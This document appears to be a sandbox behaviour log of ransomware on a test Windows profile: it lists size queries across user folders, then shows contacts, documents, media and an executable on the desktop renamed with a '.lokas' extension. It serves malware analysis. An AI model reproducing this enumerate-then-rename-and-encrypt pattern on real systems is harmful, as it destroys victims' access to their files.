Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\l9dC5aknZTWdmKKvqlm.csv type = size, size_out = 26661 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\zVmzUfndIDa.odt type = size, size_out = 77100 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\bXuv7Kr.m4a type = size, size_out = 89517 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\NQaj65yBu.m4a type = size, size_out = 32389 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\o8Sr vo8q.mp3 type = size, size_out = 32071 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\TYEA-rvS 3rsEuch t9.m4a type = size, size_out = 23902 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\wnSkHC7pPCEgbv.m4a type = size, size_out = 45928 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\3bqs.wav type = size, size_out = 94205 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\BbC0Q0jvmYL.mp3 type = size, size_out = 53034 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\e9nY1u2m2V1c.wav type = size, size_out = 34463 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\JrOA.m4a type = size, size_out = 88472 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\N1d3Q3G.wav type = size, size_out = 26761 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\PAsjf4nYr6e 3H6J0qdm.m4a type = size, size_out = 81895 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\-hYGW.bmp type = size, size_out = 90218 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\eaqkAaATiy4vA1L_sgH.jpg type = size, size_out = 79387 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\mklzxgV5YwITzd7xAiCs.png type = size, size_out = 22019 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\1CZf.png type = size, size_out = 43903 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\hkphs.jpg type = size, size_out = 6973 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\hyr6lELoPH.bmp type = size, size_out = 68540 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\r3e9e6Vc2_5M_J.bmp type = size, size_out = 28257 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\SiWeViFY67M8JO.png type = size, size_out = 40518 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\Spxtx_LrRLrVN.bmp type = size, size_out = 76259 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\ZtqB_jTHdl.png type = size, size_out = 93982 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\2aXyp-c.avi type = size, size_out = 56703 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\6-LS.mp4 type = size, size_out = 14400 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\fwQ65MT5dR.mkv type = size, size_out = 61748 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\geqhaSg2pOLrJRy5.swf type = size, size_out = 15631 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\OUrgxG kKstMI-V0g.swf type = size, size_out = 19384 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\ug0C_FP8M8f2wAb8X.flv type = size, size_out = 60406 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\ZPzcZ2.avi type = size, size_out = 69013 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\0Sz9y4pM1liLnHW.avi type = size, size_out = 59319 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\9e9qSq13H.flv type = size, size_out = 82734 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\9fWl Pmhzcfm0.avi type = size, size_out = 24101 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\DjD7qqVPsjaapMWJ5hsT.mp4 type = size, size_out = 86124 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\dlnS-sO_EmcE8_Nm.swf type = size, size_out = 76660 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\H3357xe.avi type = size, size_out = 15957 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\HV2XzZ.mkv type = size, size_out = 59588 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\JY Zvsh3GSgycLkMXjP.avi type = size, size_out = 66793 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\l7VeGA12Fs.mp4 type = size, size_out = 29340 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\qyIStBjZu8Q4.mkv type = size, size_out = 54564 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\reXbPxa.mkv type = size, size_out = 6202 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\Rgwx6N48P Yfnm9go.swf type = size, size_out = 93437 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\tKe3w.avi type = size, size_out = 97408 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\V9la.mp4 type = size, size_out = 55784 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\vP_fCxcdZuCGW1mdFWw.swf type = size, size_out = 31132 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\2Lk23P.ods type = size, size_out = 50178 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\2n3_ahqBMuVOxHufl.ots type = size, size_out = 28728 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\4xI0lzuMCZBm5s6CXE4.csv type = size, size_out = 85402 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\B vEe4F3lAt7UWzM.odt type = size, size_out = 85983 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\MVX7z7.xls type = size, size_out = 59715 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\O-s 7sUKUzPU5.rtf type = size, size_out = 35174 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\Sgpq1PY.docx type = size, size_out = 10427 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\U2T6Lm.odt type = size, size_out = 91361 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\ubpgT3URAuLj.ppt type = size, size_out = 10899 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\iLDfMT-sIIIvIAfERs.odp type = size, size_out = 50567 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\qBW-L1i6OoAjVg 7.pdf type = size, size_out = 85852 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\vRv2.xls type = size, size_out = 29851 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\YF J4bS.ods type = size, size_out = 2226 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\59FeHWyWayuevb4_iZgP.xls type = size, size_out = 47768 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\5ql kIynSYxUiIp2nSZ.wav type = size, size_out = 99871 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\b-VMJ_WiRX.mp3 type = size, size_out = 29046 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\dxHWuw Qvopg_O.mp3 type = size, size_out = 37800 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\EX2FT7vn0tNX.wav type = size, size_out = 51115 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\Jtu192CsetLt.mp3 type = size, size_out = 21468 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\PSORQW3axNUPS5uQ.gif type = size, size_out = 11343 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip type = size, size_out = 42495 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat type = size, size_out = 32768 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab type = size, size_out = 581730 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi type = size, size_out = 185344 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties type = size, size_out = 719 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab type = size, size_out = 25340970 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi type = size, size_out = 906752 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\bJMM.odt type = size, size_out = 82423 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\QxO90MxS0a794iE.csv type = size, size_out = 1605 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\dV-4OgHw.jpg type = size, size_out = 68106 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\l-BZ9z46Yh.gif type = size, size_out = 68297 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml type = size, size_out = 13 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\3O75JDME\www.google[1].xml type = size, size_out = 13 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml type = size, size_out = 836 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\0oYpcgE\56-yF4GGULAUhf4UDL0L.png type = size, size_out = 30459 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\0oYpcgE\nWWH1.jpg type = size, size_out = 18808 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\HgMWObDN_T\zLV996oLAFyQZtVPKWLF.gif type = size, size_out = 25316 True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\260cK27AaAW.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\260cK27AaAW.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9HKDKJPWcbZp3.rtf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9HKDKJPWcbZp3.rtf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\a3aopYTabt2PqX.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\a3aopYTabt2PqX.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CnGwikB4ixpjleaou.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CnGwikB4ixpjleaou.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c_N92I4.mkv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c_N92I4.mkv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gAGIpgNn-ah_P.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gAGIpgNn-ah_P.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\hBtij2XxjeIr.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\hBtij2XxjeIr.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iG6P2_66c9kPrLMe.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iG6P2_66c9kPrLMe.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\I_Fs9J3.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\I_Fs9J3.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\j WmU7ker3Iej.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\j WmU7ker3Iej.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Krb2lboJPMb.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Krb2lboJPMb.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nk Bv.png.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nk Bv.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nU7U5gg9puyk9 ks9j.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nU7U5gg9puyk9 ks9j.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\pSR 950o t1F-.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\pSR 950o t1F-.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rrFPXj-iFL_y.gif.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rrFPXj-iFL_y.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\s8Ur5b0FR5.xlsx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\s8Ur5b0FR5.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\we5v8X.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\we5v8X.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wkj-WJ_BWT6jKq0jb8L.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wkj-WJ_BWT6jKq0jb8L.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Yhvz3du1L4T.flv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Yhvz3du1L4T.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\YN0nlMxLgsxDN89Wvw.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\YN0nlMxLgsxDN89Wvw.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z1ijPRENeZM bVg.flv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z1ijPRENeZM bVg.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\AFpOY4r3P4.pptx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\AFpOY4r3P4.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\aoCKhNvwPg7 G_EglTRd.pptx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\aoCKhNvwPg7 G_EglTRd.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cziIE32ag xe.ots.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cziIE32ag xe.ots True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\k1_TmsZisgvN4S.pptx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\k1_TmsZisgvN4S.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\KnsOJGoYLE.docx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\KnsOJGoYLE.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\MKWv2Lnto6B0LC.xlsx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\MKWv2Lnto6B0LC.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mlUXviQ806vyLllkB.xlsx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mlUXviQ806vyLllkB.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\nasLdS_jK7TsrsDLk.docx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\nasLdS_jK7TsrsDLk.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\O6M7.pptx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\O6M7.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\qMPNA1vbVY9_-nAG.docx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\qMPNA1vbVY9_-nAG.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\r29okez.docx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\r29okez.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\rtNG.xlsx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\rtNG.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\vC7KMK.xlsx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\vC7KMK.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\WKJRVuyD0u.pptx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\WKJRVuyD0u.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\xf1du7.docx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\xf1du7.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yuc5.xlsx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yuc5.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\BBd0_QQoq.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\BBd0_QQoq.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\MYpigepqn9YR5BOM.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\MYpigepqn9YR5BOM.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\zRnyvk1zYM68.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\zRnyvk1zYM68.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\5IXrK DSsOCkwaq.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\5IXrK DSsOCkwaq.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\76ig.bmp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\76ig.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\f7xAj.bmp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\f7xAj.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\gn8pgpO apgbtvLWe.gif.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\gn8pgpO apgbtvLWe.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\wJHhfbHtkszmHxL4z.png.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\wJHhfbHtkszmHxL4z.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\akc2Tx3.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\akc2Tx3.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\AkCMeTFe6MkALeUsdVH.flv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\AkCMeTFe6MkALeUsdVH.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\D0d5R.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\D0d5R.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\qQZuqvR.flv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\qQZuqvR.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\yCpGa3HU4ZK.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\yCpGa3HU4ZK.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Z9p5.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\Z9p5.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\Im4nv.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\Im4nv.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\R6wEXsUw0FREp4.bmp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\R6wEXsUw0FREp4.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XfvoPRf DQX9svVyoZ.swf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XfvoPRf DQX9svVyoZ.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XnAaV.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\XnAaV.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\fR_RDv.mkv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\fR_RDv.mkv True 1
Fn
